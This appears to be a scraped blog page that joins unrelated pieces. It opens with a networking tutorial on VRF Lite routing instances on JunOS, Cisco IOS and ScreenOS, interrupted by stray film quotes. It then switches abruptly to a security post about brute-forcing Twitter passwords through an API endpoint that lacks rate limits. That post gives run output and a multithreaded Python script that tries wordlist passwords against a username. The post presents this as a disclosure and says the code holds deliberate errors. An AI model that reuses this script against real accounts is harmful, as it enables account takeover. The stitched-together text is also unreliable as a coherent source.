Trust.inet.0: 4 destinations, 4 routes (4 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

172.16.10.0/24     *[Direct/0] 00:00:18
                    > via fe-0/0/0.200
172.16.10.1/32     *[Local/0] 00:00:18
                      Local via fe-0/0/0.200
192.168.10.0/24    *[Direct/0] 00:00:06
                    > via fe-0/0/0.400
192.168.10.1/32    *[Local/0] 00:00:06
                      Local via fe-0/0/0.400

Untrust.inet.0: 2 destinations, 2 routes (2 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

10.10.10.0/24      *[Direct/0] 00:03:26
                    > via fe-0/0/0.100
10.10.10.1/32      *[Local/0] 00:03:26
                      Local via fe-0/0/0.100

While having interfaces with addresses and different routing tables is cool and all, this does next to nothing as there is no real routing going on so let’s add some.

Start out by adding a default route to the Trust VRF lite configuration. The commands to perform this are almost exactly the same for the global routing table. The only difference is that you start under the routing-instances configuration hierarchy. This also applies for routing protocols.

set routing-instances Trust routing-options static route 0.0.0.0/0 next-hop 192.168.10.2

Now let’s verify our configuration and commit the change.

[edit]
jrossi@junos-1# show routing-instances Trust 
instance-type virtual-router;
interface fe-0/0/0.200;
interface fe-0/0/0.400;
routing-options {
    static {
        route 0.0.0.0/0 next-hop 192.168.10.2;
    }
}

[edit]
jrossi@junos-1# commit 
commit complete

Now let’s take a look at the Trust.inet.0 routing table. This time we are going limit our show route command to just the Trust table.

[edit]
jrossi@junos-1# run show route table Trust 

Trust.inet.0: 5 destinations, 5 routes (5 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both

0.0.0.0/0          *[Static/5] 00:36:26
                    > to 192.168.10.2 via fe-0/0/0.400
172.16.10.0/24     *[Direct/0] 00:00:18
                    > via fe-0/0/0.200
172.16.10.1/32     *[Local/0] 00:00:18
                      Local via fe-0/0/0.200
192.168.10.0/24    *[Direct/0] 00:56:56
                    > via fe-0/0/0.400
192.168.10.1/32    *[Local/0] 00:56:56
                      Local via fe-0/0/0.400

VRF Lite Setup on Cisco IOS

Cisco IOS is used here and it’s very new and buggy 12.4T(22), but as this is what I installed to test other features of IOS, I figured it would not be a problem for this write up. It should also be more than adequate for VRF Lite. Please note that there are a large number of extra interfaces and features configured on this router as I do lots of playing around with IOS on this device.

Just like in the JunOS Example, we are going to create some sub-interfaces to start off with.

ios-1(config)#int gi0/0
ios-1(config-if)#no shut
ios-1(config-i)#int gi0/0.100
ios-1(config-subif)#description Untrust
ios-1(config-subif)#encapsulation dot1Q 100
ios-1(config-subif)#int gi0/0.200
ios-1(config-subif)#description Trust
ios-1(config-subif)#encapsulation dot1Q 200
ios-1(config-subif)#int gi0/0.300
ios-1(config-subif)#description DMZ
ios-1(config-subif)#encapsulation dot1Q 300
ios-1(config-subif)#int gi0/0.400
ios-1(config-subif)#description Trust
ios-1(config-subif)#encapsulation dot1Q 400

Just a quick peek to see that things are as we expect them.

ios-1(config-subif)#do show ip int br
Interface                  IP-Address      OK? Method Status                Protocol
GigabitEthernet0/0         unassigned      YES NVRAM  up                    up
GigabitEthernet0/0.100     unassigned      YES unset  up                    up
GigabitEthernet0/0.200     unassigned      YES unset  up                    up
GigabitEthernet0/0.300     unassigned      YES unset  up                    up
GigabitEthernet0/0.400     unassigned      YES unset  up                    up
GigabitEthernet0/1         1.1.1.1         YES NVRAM  up                    up
FastEthernet0/3/0          unassigned      YES unset  down                  down
FastEthernet0/3/1          unassigned      YES unset  up                    down
FastEthernet0/3/2          unassigned      YES unset  up                    down
FastEthernet0/3/3          unassigned      YES unset  up                    down
ATM0/1/0                   unassigned      YES NVRAM  administratively down down
ATM0/1/0.1                 unassigned      YES unset  administratively down down
Dot11Radio0/2/0            unassigned      YES NVRAM  up                    up
Dot11Radio0/2/0.1          192.168.128.1   YES NVRAM  up                    up
Dot11Radio0/2/0.3          192.168.11.1    YES NVRAM  up                    up
Dot11Radio0/2/0.4          192.168.4.1     YES NVRAM  up                    up
Dot11Radio0/2/0.5          unassigned      YES unset  up                    up
Dot11Radio0/2/0.10         192.168.10.1    YES NVRAM  up                    up
Dot11Radio0/2/1            unassigned      YES NVRAM  administratively down down
Vlan1                      unassigned      YES NVRAM  up                    down
Vlan3                      192.168.3.1     YES NVRAM  up                    down
Vlan5                      unassigned      YES NVRAM  up                    down
Vlan20                     192.168.20.1    YES NVRAM  up                    down
NVI0                       192.168.1.1     YES unset  up                    up
SSLVPN-VIF0                unassigned      NO  unset  up                    up
BVI3                       192.168.5.1     YES NVRAM  up                    up
Loopback1                  192.168.1.1     YES NVRAM  up                    up
Loopback69                 192.168.69.1    YES NVRAM  up                    up
Loopback100                unassigned      YES NVRAM  up                    up
Loopback666                10.10.10.2      YES NVRAM  up                    up
Tunnel255                  192.168.255.2   YES NVRAM  up                    up

ios-1(config-subif)#do show int desc
Interface                      Status         Protocol Description
Gi0/0                          up             up
Gi0/0.100                      up             up       Untrust
Gi0/0.200                      up             up       Trust
Gi0/0.300                      up             up       DMZ
Gi0/0.400                      up             up       Trust
Gi0/1                          up             up
Fa0/3/0                        down           down
Fa0/3/1                        up             down
Fa0/3/2                        up             down
Fa0/3/3                        up             down
AT0/1/0                        admin down     down
AT0/1/0.1                      admin down     down
Do0/2/0                        up             up
Do0/2/0.1                      up             up
Do0/2/0.3                      up             up
Do0/2/0.4                      up             up
Do0/2/0.5                      up             up
Do0/2/0.10                     up             up
Do0/2/1                        admin down     down
Vl1                            up             down
Vl3                            up             down
Vl5                            up             down
Vl20                           up             down
NV0                            up             up
SS0                            up             up
BV3                            up             up
Lo1                            up             up
Lo69                           up             up       for webvpn
Lo100                          up             up
Lo666                          up             up
Tu255                          up             up

Much like in the JunOS configuration we will now create three new routing instances (VRF Lite).

ios-1(config)#ip vrf
ios-1(config)#ip vrf Untrust
ios-1(config-vrf)#ip vrf Untrust
ios-1(config-vrf)#description Scary wild wild west
ios-1(config-vrf)#ip vrf Trust
ios-1(config-vrf)#ip vrf DMZ

I don’t give a hoot in Hell how you do it, you just get me to the Primary, ya hear!

Major T. J. "King" Kong

Now let’s configure some interfaces and add some addresses. Once again, I am going to use overlapping ranges to show that VRF Lite allows for it.

Adding interfaces to a routing instance is configured under the actual interface configuration hierarchy with the command ip vrf forward. If you have an address already assigned when you run the ip vrf forwarding the address will be removed. This is done to make sure that conflicts or pollution of the new routing table doesn’t happen unintentionally.

ios-1(config)#int gi0/0.100
ios-1(config-subif)#ip vrf forwarding Untrust
ios-1(config-subif)#ip address 10.10.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.200
ios-1(config-subif)#ip vrf forwarding Trust
ios-1(config-subif)#ip address 172.16.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.300
ios-1(config-subif)#ip vrf forwarding DMZ
ios-1(config-subif)#ip address 10.10.10.1 255.255.255.0
ios-1(config-subif)#int gi0/0.400
ios-1(config-subif)#ip vrf forwarding Trust
ios-1(config-subif)#ip address 192.168.10.1 255.255.255.0

Before we move forward, let’s look into some of the show commands around VRFs on IOS.

ios-1#show ip vrf 
  Name                             Default RD          Interfaces
  DMZ                              <not set>           Gi0/0.300
  Trust                            <not set>           Gi0/0.200
                                                       Gi0/0.400
  Untrust                          <not set>           Gi0/0.100

The command show ip route Cisco IOS will not show you anything about the other routing instances, just the global table.

ios-1(config-subif)#do show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 1.1.1.2 to network 0.0.0.0

C    192.168.128.0/24 is directly connected, Dot11Radio0/2/0.1
C    192.168.10.0/24 is directly connected, Dot11Radio0/2/0.10
C    192.168.11.0/24 is directly connected, Dot11Radio0/2/0.3
C    192.168.4.0/24 is directly connected, Dot11Radio0/2/0.4
C    192.168.5.0/24 is directly connected, BVI3
C    1.1.1.0/24 is directly connected, GigabitEthernet0/1
     192.168.255.0/30 is subnetted, 1 subnets
C       192.168.255.0 is directly connected, Tunnel255
     192.168.1.0/32 is subnetted, 1 subnets
C       192.168.1.1 is directly connected, Loopback1
C    192.168.69.0/24 is directly connected, Loopback69
O    192.168.2.0/24 [110/1001] via 192.168.255.1, 1d07h, Tunnel255
S*   0.0.0.0/0 [1/0] via 1.1.1.2

Using the command show ip route vrf we can see into each routing table, or the use of show ip route vrf * will let us see them all at once.

ios-1#show ip route vrf *
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 1.1.1.1 to network 0.0.0.0

C    192.168.128.0/24 is directly connected, Dot11Radio0/2/0.1
C    192.168.10.0/24 is directly connected, Dot11Radio0/2/0.10
C    192.168.11.0/24 is directly connected, Dot11Radio0/2/0.3
C    192.168.4.0/24 is directly connected, Dot11Radio0/2/0.4
C    192.168.20.0/24 is directly connected, Vlan20
C    192.168.5.0/24 is directly connected, BVI3
C    1.1.1.0/24 is directly connected, GigabitEthernet0/1
     192.168.255.0/30 is subnetted, 1 subnets
C       192.168.255.0 is directly connected, Tunnel255
     192.168.1.0/32 is subnetted, 1 subnets
C       192.168.1.1 is directly connected, Loopback1
C    192.168.69.0/24 is directly connected, Loopback69
O    192.168.2.0/24 [110/1001] via 192.168.255.1, 1d14h, Tunnel255
C    192.168.3.0/24 is directly connected, Vlan3
S*   0.0.0.0/0 [1/0] via 1.1.1.1

Routing Table: Untrust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     10.0.0.0/24 is subnetted, 1 subnets
C       10.10.10.0 is directly connected, GigabitEthernet0/0.100

Routing Table: Trust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

C    192.168.10.0/24 is directly connected, GigabitEthernet0/0.400
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, GigabitEthernet0/0.200

Routing Table: DMZ
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     10.0.0.0/24 is subnetted, 1 subnets
C       10.10.10.0 is directly connected, GigabitEthernet0/0.300
ios-1#

Now lets do a little routing. Just like in the JunOS example a simple static route should be sufficient.

ios-1(config)#ip route vrf Trust 0.0.0.0 0.0.0.0 192.168.10.2

The Trust routing instance table now looks like the following.

ios-1(config)#do show ip route vrf Trust

Routing Table: Trust
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 192.168.10.2 to network 0.0.0.0

C    192.168.10.0/24 is directly connected, GigabitEthernet0/0.400
     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, GigabitEthernet0/0.200
S*   0.0.0.0/0 [1/0] via 192.168.10.2

VRF Lite Setup on Juniper ScreenOS

Juniper ScreenOS version 6.2.0r2.0 used here is very new and has been working very well for me in testing.

There are also a few more limitations on the ScreenOS platform that I need to make note of. The SSG5 I am using has a limit of only 3 routing instances and some other limits that you should verify yourself before starting. Using the command get license-key will show all the limits for the hardware. The key things to look for are: Vrouters, Zones, and VLANs.

screenos-1-> get license-key 
extended_key        : XXXXXXXXXXXXX+XXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXX
                      XXXXXXXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                      XXXXXXXXXXXXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXX/
                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX+XXXXXXXXXXXXXXXX
                      /XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX++XXXXXXXXXXXXXX/
                      XXXXXXXXXXXXXX+XXXXXX+XXXXXXXXXXXXXXXXXXXXXXXXXXXX
                      ==

Sessions:           16064 sessions
Capacity:           unlimited number of users
NSRP:               ActiveActive
VPN tunnels:        40 tunnels
Vsys:               None
Vrouters:           4 virtual routers
Zones:              10 zones
VLANs:              50 vlans
Drp:                Enable
Deep Inspection:    Enable
Deep Inspection Database Expire Date: Disable
Signature pack:     Signature update key is missing
IDP:                Disable
AV:                 Disable(0)
Anti-Spam:          Disable(0)
Url Filtering:      Disable

Update server url: nextwave.netscreen.com/key_retrieval
License key auto update : Disabled
Auto update interval : 0 days

Unlike IOS and JunOS: ScreenOS does not have a concept of Global routing instance. Every interface must be in routing instances and can not have any addresses assigned when you move them to a different instance. Due to this, you really should start off in a different order and create the routing instances first.

The default ScreenOS puts all interfaces into the Trust-vr routing instance so let’s start by checking what is already set up.

screenos-1-> get vrouter
* indicates default vrouter 
A - AutoExport, R - RIP, N- NHRP, O - OSPF, B - BGP, P - PIM

   ID Name                     Vsys                 Owner     Routes    MRoutes     Flags
    1 untrust-vr               Root                 shared      0/max       0/max       
*   2 trust-vr                 Root                 shared      4/max       0/max       

total 2 vrouters shown and 0 of them defined by user

As you can see there are already 2 routing instances set up. Let’s take a look at the interfaces that belong to each. To do this we need to see what zones are mapped to which routing instances.

screenos-1-> get zone  
Total 14 zones created in vsys Root - 8 are policy configurable.
Total policy configurable zones for Root is 8.
;------------------------------------------------------------------------
  ID Name                             Type    Attr    VR          Default-IF   VSYS      
   0 Null                             Null    Shared untrust-vr   wireless0/3  Root                
   1 Untrust                          Sec(L3) Shared trust-vr     ethernet0/0  Root                
   2 Trust                            Sec(L3)        trust-vr     bgroup0      Root                
   3 DMZ                              Sec(L3)        trust-vr     ethernet0/1  Root                
   4 Self                             Func           trust-vr     self         Root                
   5 MGT                              Func           trust-vr     null         Root                
   6 HA                               Func           trust-vr     null         Root                
  10 Global                           Sec(L3)        trust-vr     null         Root                
  11 V1-Untrust                       Sec(L2) Shared trust-vr     v1-untrust   Root                
  12 V1-Trust                         Sec(L2) Shared trust-vr     v1-trust     Root                
  13 V1-DMZ                           Sec(L2) Shared trust-vr     v1-dmz       Root                
  14 VLAN                             Func    Shared trust-vr     vlan1        Root                
  15 V1-Null                          Sec(L2) Shared trust-vr     l2v          Root                
  16 Untrust-Tun                      Tun            trust-vr     hidden.1     Root                
;------------------------------------------------------------------------

Now we have to map the interfaces to the zones. (Yes, it may seem a little convoluted but it does make sense for a firewall platform).

screenos-1-> get interface 

A - Active, I - Inactive, U - Up, D - Down, R - Ready 

Interfaces in vsys Root: 
Name           IP Address                        Zone        MAC            VLAN State VSD      
serial0/0      0.0.0.0/0                         Null        N/A               -   D   -  
eth0/0         0.0.0.0/0                         Untrust     0017.cb80.9f40    -   U   -  
eth0/1         0.0.0.0/0                         DMZ         0017.cb80.9f45    -   D   -  
wireless0/0    192.168.2.1/24                    Trust       0017.cb80.9f55    -   D   -  
wireless0/1    0.0.0.0/0                         Null        0017.cb80.9f56    -   D   -  
wireless0/2    0.0.0.0/0                         Null        0017.cb80.9f57    -   D   -  
wireless0/3    0.0.0.0/0                         Null        0017.cb80.9f58    -   D   -  
bgroup0        192.168.1.1/24                    Trust       0017.cb80.9f4b    -   U   -  
  eth0/2       N/A                               N/A         N/A               -   U   -
  eth0/3       N/A                               N/A         N/A               -   D   -
  eth0/4       N/A                               N/A         N/A               -   D   -
  eth0/5       N/A                               N/A         N/A               -   D   -
  eth0/6       N/A                               N/A         N/A               -   D   -
bgroup1        0.0.0.0/0                         Null        0017.cb80.9f4c    -   D   -  
bgroup2        0.0.0.0/0                         Null        0017.cb80.9f4d    -   D   -  
bgroup3        0.0.0.0/0                         Null        0017.cb80.9f4e    -   D   -  
vlan1          0.0.0.0/0                         VLAN        0017.cb80.9f4f    1   D   -  
null           0.0.0.0/0                         Null        N/A               -   U   0  

We now have all the information we need to begin the process. Here is a simplified table to make moving forward a little easier:

Current

Now let’s start by creating the one routing instance that is not already setup by default.

screenos-1-> set vrouter name dmz-vr

Now let’s see how this shows up on the device.

creenos-1-> get vrouter
* indicates default vrouter 
A - AutoExport, R - RIP, N- NHRP, O - OSPF, B - BGP, P - PIM

   ID Name                     Vsys                 Owner     Routes    MRoutes     Flags
    1 untrust-vr               Root                 shared      0/max       0/max       
*   2 trust-vr                 Root                 shared      4/max       0/max       
 1025 dmz-vr                   Root                 user        0/max       0/max       

total 3 vrouters shown and 1 of them defined by user

Due to the limitations of not allowing the movement of a zone between routing instances when there are interfaces within them, we need to move things around first. Let’s start by moving all the interfaces that are in the Trust and DMZ zones to a holder zone named Null.

screenos-1-> set interface eth0/0 zone Null
screenos-1-> set interface eth0/1 zone Null

Now we need to move the zones to the correct routing instances, and while we’re at it let’s move the interfaces back and create new sub-interfaces.

screenos-1-> set zone Untrust vrouter untrust-vr
screenos-1-> set zone DMZ vrouter dmz-vr
screenos-1-> set interface eth0/0 zone Untrust
screenos-1-> set interface eth0/1 zone DMZ
screenos-1-> set interface eth0/0.1 tag 100 zone Untrust
screenos-1-> set interface eth0/0.2 tag 200 zone Trust
screenos-1-> set interface eth0/0.3 tag 300 zone DMZ
screenos-1-> set interface eth0/0.4 tag 400 zone Trust

Finally, let’s setup the interface addresses.

screenos-1-> set interface eth0/0.1 ip 10.10.10.1/24
screenos-1-> set interface eth0/0.2 ip 172.16.10.1/24
screenos-1-> set interface eth0/0.3 ip 10.10.10.1/24
screenos-1-> set interface eth0/0.4 ip 192.168.10.1/24

Now we should take a look and see that everything has come out the way we expected. First, the interfaces:

screenos-1-> get interface 

A - Active, I - Inactive, U - Up, D - Down, R - Ready 

Interfaces in vsys Root: 
Name           IP Address                        Zone        MAC            VLAN State VSD      
serial0/0      0.0.0.0/0                         Null        N/A               -   D   -  
eth0/0         0.0.0.0/0                         Untrust     0017.cb80.9f40    -   U   -  
eth0/0.1       0.0.0.0/0                         Untrust     0017.cb80.9f40  100   U   -  
eth0/0.2       0.0.0.0/0                         Trust       0017.cb80.9f40  200   U   -  
eth0/0.3       0.0.0.0/0                         DMZ         0017.cb80.9f40  300   U   -  
eth0/0.4       0.0.0.0/0                         Trust       0017.cb80.9f40  400   U   -  
eth0/1         0.0.0.0/0                         DMZ         0017.cb80.9f45    -   D   -  
wireless0/0    192.168.2.1/24                    Trust       0017.cb80.9f55    -   D   -  
wireless0/1    0.0.0.0/0                         Null        0017.cb80.9f56    -   D   -  
wireless0/2    0.0.0.0/0                         Null        0017.cb80.9f57    -   D   -  
wireless0/3    0.0.0.0/0                         Null        0017.cb80.9f58    -   D   -  
bgroup0        192.168.1.1/24                    Trust       0017.cb80.9f4b    -   U   -  
  eth0/2       N/A                               N/A         N/A               -   U   -
  eth0/3       N/A                               N/A         N/A               -   D   -
  eth0/4       N/A                               N/A         N/A               -   D   -
  eth0/5       N/A                               N/A         N/A               -   D   -
  eth0/6       N/A                               N/A         N/A               -   D   -
bgroup1        0.0.0.0/0                         Null        0017.cb80.9f4c    -   D   -  
bgroup2        0.0.0.0/0                         Null        0017.cb80.9f4d    -   D   -  
bgroup3        0.0.0.0/0                         Null        0017.cb80.9f4e    -   D   -  
vlan1          0.0.0.0/0                         VLAN        0017.cb80.9f4f    1   D   -  
null           0.0.0.0/0                         Null        N/A               -   U   0  

Now the routing instances:

screenos-1-> get route
H: Host C: Connected S: Static A: Auto-Exported
I: Imported R: RIP P: Permanent D: Auto-Discovered
N: NHRP
iB: IBGP eB: EBGP O: OSPF E1: OSPF external type 1
E2: OSPF external type 2 trailing B: backup route


IPv4 Dest-Routes for <untrust-vr> (2 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr     Vsys
;--------------------------------------------------------------------------------------
*         2      10.10.10.1/32       eth0/0.1         0.0.0.0   H    0      0     Root
*         1      10.10.10.0/24       eth0/0.1         0.0.0.0   C    0      0     Root



IPv4 Dest-Routes for <trust-vr> (8 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr     Vsys
;--------------------------------------------------------------------------------------
*         5     172.16.10.0/24       eth0/0.2         0.0.0.0   C    0      0     Root
*         8    192.168.10.1/32       eth0/0.4         0.0.0.0   H    0      0     Root
*         4     192.168.1.1/32        bgroup0         0.0.0.0   H    0      0     Root
          2     192.168.2.1/32    wireless0/0         0.0.0.0   H    0      0     Root
          1     192.168.2.0/24    wireless0/0         0.0.0.0   C    0      0     Root
*         3     192.168.1.0/24        bgroup0         0.0.0.0   C    0      0     Root
*         7    192.168.10.0/24       eth0/0.4         0.0.0.0   C    0      0     Root
*         6     172.16.10.1/32       eth0/0.2         0.0.0.0   H    0      0     Root



IPv4 Dest-Routes for <dmz-vr> (2 entries)
;--------------------------------------------------------------------------------------
         ID          IP-Prefix      Interface         Gateway   P Pref    Mtr
;--------------------------------------------------------------------------------------
*         2      10.10.10.1/32       eth0/0.3         0.0.0.0   H    0      0         
*         1      10.10.10.0/24       eth0/0.3         0.0.0.0   C    0      0         

Based on the findings of the report, my conclusion was that this idea was not a practical deterrent for reasons which at this moment must be all too obvious.

Dr. Strangelove

Footnotes

Related Posts:

• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action

In our rampant speculating (guessing), we noted that we thought brute force password attacks would move away from the main Twitter login page because of their implementation of CAPTCHA (showing an image that is easy for a human to translate and type in but difficult for a computer to identify), which occurs after several failed login attempts. While some success has been reported by both researchers attempting to break CAPTCHA, as well as researchers watching others break it, the processing time of dealing with translating thousands of CAPTCHA messages becomes problematic from a password cracking standpoint (as far as we know, if you have a counter example please show us). So where does one go to perform the type of brute force password attack that a teenage hacker used in January to gain access to Crystal the Twitter admin’s account, achieve ‘Happiness’ and allow others to tweet on behalf of Barack Obama and Britney Spears?

Back in January the @BarackObama account was broken into.

We thought that the Twitter API (application program interface) is the next place to go. While moving towards OAuth authentication (a mechanism by which users can provide others access to their data without providing their authentication credentials) the old style API calls with user name and password are still available. Providing an API is one of the primary reasons for Twitter’s popularity, as many tools can provide both interfaces into the online services of Twitter, as well as act as aggregators for the data within Twitter’s data stores. In fact, for most tweeple, the actual system confines of Twitter might as well be a big database, as they are doing their tweeting through TweetDeck or Tweetie, monitoring topics at TwitterFall, looking at their favorite famous twits at Congressional140 or CelebrityTweet, mapping the world’s tweets with TwitterVision, or evaluating themselves with CurseBird.

That same API provides an alternate path for logging into Twitter, and provides all the functionality available through the web application (authentication, reading tweets, tweeting). You can read more about the overall Twitter API here: http://apiwiki.twitter.com.

But wait you say, are you trying to tell us that brute force password attacks will move to the API when I just read on the Twitter API wiki that the API severely limits the rate of calls you are allowed to make to it (200/hour/IP for authenticated requests without whitelisting)? That should be a mitigating control. Should be, but isn’t, because it is not enforced on all of the API calls.

Rate Limit? We don’t need no stinking rate limit.

From the twitter API documenation on account/verify_credentials Twitter states:

Returns an HTTP 200 OK response code and a representation of the requesting user if authentication was successful; returns a 401 status code and an error message if not. Use this method to test if supplied user credentials are valid. Because this method can be a vector for a brute force dictionary attack to determine a user’s password, it is limited to 15 requests per 60 minute period (starting from your first request).

Well, let’s see. Using a simple python program that tried known incorrect passwords as fast as the the API would respond (but well below DOS thresholds), we have this:

[~]% time python twitterauthcheck.py
Login: _eeeeeeeek Password: 0 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 1 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 2 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 3 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 4 failed: HTTP Error 401: Unauthorized

[......SNIP......]

Login: _eeeeeeeek Password: 295 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 296 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 297 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 298 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 299 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: <redacted> accepted
/opt/local/bin/python2.6 testingauth.py  2.03s user 1.47s system 1% cpu 4:25.05 total

So looking at the details we have 300 passwords attempted in 2 minutes and 3 seconds. We can also see on the 300th attempt the password was accepted (we put the correct password in at number 300) so we can conclude that the account is not getting locked out due to enforcement of rate limits. So next we ran the script six times concurrently (3,600 attempts). Still not locked out.

We are also showing that we are able to blow through the overall 150 request limit per IP per hour that Twitter reports is the rate limit. Running multiple attempts did start to hit some 503 Bad Gateway errors which we thought might be the end of the road, but no, it started responding again a second later.

Running the script is slow. Twitter’s greatest defense here against a true brute force attack using a single thread is that it takes a while for their infrastructure to respond. We can call that security through lack of capacity. Since a good password cracker takes more then a few hundred entries to work (this LOphtCrack dictionary has 235,007 entries.), we’ll go multi-threaded.

In a final controlled example, we use a known account where one person sets a dictionary word simple password and the other person runs the script without specifically knowing the password (just in case someone wants to write a Computer Fraud and Abuse Act essay in the comments, when someone logs into their own account its called authentication). Again, low request threshold, and only accessing our own account.

25,086 attempts thus far before we got bored watching it, so a little over 7 hours and the whole 200,000+ dictionary word list would be done, and likely any account using a common dictionary based password would be accessed. We tried a few subsequent runs that mixed in a correct password just to ensure everything was working, and the program notified us of the successful login.

If Twitter wants to minimize the probability of success for this vulnerability it could:

• Enforce its stated rate limits.
• Start requiring minimally complex passwords.
• Complete the migration to OAuth.

As we like Twitter as much as the next, and because we are in favor of good faith disclosure, we have notified them of our concerns. Update: A Twitter representative has responded that the information provided has been sent on to the right internal team at Twitter.

Here’s the Code: threadedtwitter.py
Dictionary: dic.txt

Please note, the code is provided for demonstration purposes only, should not be run ever, and contains intentional errors so that attempts to run it will not work.

The command is as follows: twitterauthcheck.py username passwordlist.txt

import threading,Queue
import socket
import tweethon
import urllib2
import socket
import sys

class Threader:
    # Class taken from: Sept 3 2004, Justin A: http://code.activestate.com/recipes/302746/
    def __init__(self, numthreads):
        self._numthreads=numthreads

    def get_data(self,):
        raise NotImplementedError, "You must implement get_data as a function that returns an iterable"
        return range(10000)
    def handle_data(self,data):
        raise NotImplementedError, "You must implement handle_data as a function that returns anything"
        time.sleep(random.randrange(1,5))
        return data*data
    def handle_result(self, data, result):
        raise NotImplementedError, "You must implement handle_result as a function that does anything"
        print data, result

    def _handle_data(self):
        while 1:
            x=self.Q.get()
            if x is None:
                break
            self.DQ.put((x,self.handle_data(x)))

    def _handle_result(self):
        while 1:
            x,xa=self.DQ.get()
            if x is None:
                break
            self.handle_result(x, xa)

    def run(self):
        if hasattr(self, "prerun"):
            self.prerun()
        self.Q=Queue.Queue()
        self.DQ=Queue.Queue()
        ts=[]
        for x in range(self._numthreads):
            t=threading.Thread(target=self._handle_data)
            t.start()
            ts.append(t)

        at=threading.Thread(target=self._handle_result)
        at.start()

        try :
            for x in self.get_data():
                self.Q.put(x)
        except NotImplementedError, e:
            print e
        for x in range(self._numthreads):
            self.Q.put(None)
        for t in ts:
            t.join()
        self.DQ.put((None,None))
        at.join()
        if hasattr(self, "postrun"):
            return self.postrun()
        return None


class twitterpasswordtester(Threader):

    def get_data(self):
        data = open(sys.argv[2]).read()
        data = data.split('\n')
        self._usename = sys.argv[1]
        self.counter = 0
        return data

    def handle_data(self,p):
        print "in testAuth"
        u = self._usename
        x = tweethon.Api(username=u, password=p)
        x.SetCache(None)
        try:
            x.VerifyCredentials()
            results = "login: {0} Password: {1} accepted\n".format(u, p)
        except urllib2.HTTPError, e:
            results = "login: {0} Password: {1} failed: {2}\n".format(u, p, e)
        finally:
            del x
            return results

    def handle_result(self, data, result):
        print result
        print self.counter 
        self.counter += 1
        self.res.append((data,result))
    def prerun(self):
        self.res=[]
    def postrun(self):
        return self.res


z = twitterpasswordtester(10)
for n,ns in  a.run():
    print n,ns

